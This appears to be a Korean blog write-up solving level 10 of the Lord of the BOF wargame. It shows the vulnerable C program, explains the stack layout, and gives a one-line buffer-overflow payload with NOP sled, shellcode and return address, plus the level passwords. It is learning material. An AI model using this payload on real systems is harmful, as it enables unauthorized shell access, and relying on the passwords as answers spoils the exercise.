yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 10번 풀이 (vampire) 본문

wargame 풀이/LOB

LOB 10번 풀이 (vampire)

yehey 2020. 11. 22. 23:23
id: vampire
pw: music world
/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i, saved_argc;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        // argc saver
        saved_argc = argc;

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

        // ultra argv hunter!
        for(i=0; i<saved_argc; i++)
                memset(argv[i], 0, strlen(argv[i]));
}

 

  • argv[1]의 길이가 48이상이면 종료
  • 입력받은 매개변수를 모두 0으로 초기화 (ultra argv hunter)
  • buffer 초기화
  • 환경변수 사용 불가
  • argv[1]의 48번째 '\xbf' 여야 함

우선 skeleton의 스택 상황을 알아보기 위해 skeleton을 tmp 디렉터리에 복사하고 ultra argv hunter 실행 후에 breakpoint를 걸어주었다.

 

그리고 argv[1]에 48바이트를 적절히 채워서 실행시키고 esp를 확인해보았다.

 

계속 확인하다 보니 대부분 ""로 비어있었지만 거의 마지막에 /home/vampire/sk 가 저장되어있었다.

즉, 실행 파일 경로가 argv[0]에만 저장되어있는 것이 아니라 다른 곳에 한번 더 저장되어있다.

따라서 이전 문제에서처럼 skeleton에 심볼릭 링크를 걸어서 실행해보자!

하지만 이전처럼 agv[0]를 ret에 넣어주는 것이 아니라 경로가 저장된 다른 곳을 찾아서 넣어주어야한다.

ret 주소를 알아내기 위해 gdb에서 \x90 시작 위치를 찾아보았다.

 

똑같이 breakpoint를 걸어주고 실행해서 esp를 확인해보자

 

다른곳은 거의 다 00으로 초기화되어 있지만, 0xbfffff52 부터 0x90이 있는걸 볼 수 있다.

값이 조금 바뀔 수도 있으니 넉넉하게 0xbfffff80을 ret에 전달해보자

 

이제 원본 skeleton에 쉘 코드로 링크를 걸어주고 다음과 같은 페이로드를 전달했다.

 

./`python -c 'print"\x90"*100+"\xd9\xc5\xd9\x74\x24 \xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04 \xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7 \x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf \x51\x4d\xa1\x82\xd6"'` `python -c 'print "A"*44+"\x88\xff\xff\xbf"'`

skeleton 권한으로 쉘이 띄워졌다.

 

skeleton의 pw: "shellcoder"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 12번 풀이 (golem)  (0) 2020.12.30
LOB 11번 풀이 (skeleton)  (0) 2020.11.24
LOB 9번 풀이 (troll)  (0) 2020.11.21
LOB 8번 풀이 (orge)  (0) 2020.11.19
LOB 7번 풀이 (darkelf)  (0) 2020.11.10
Comments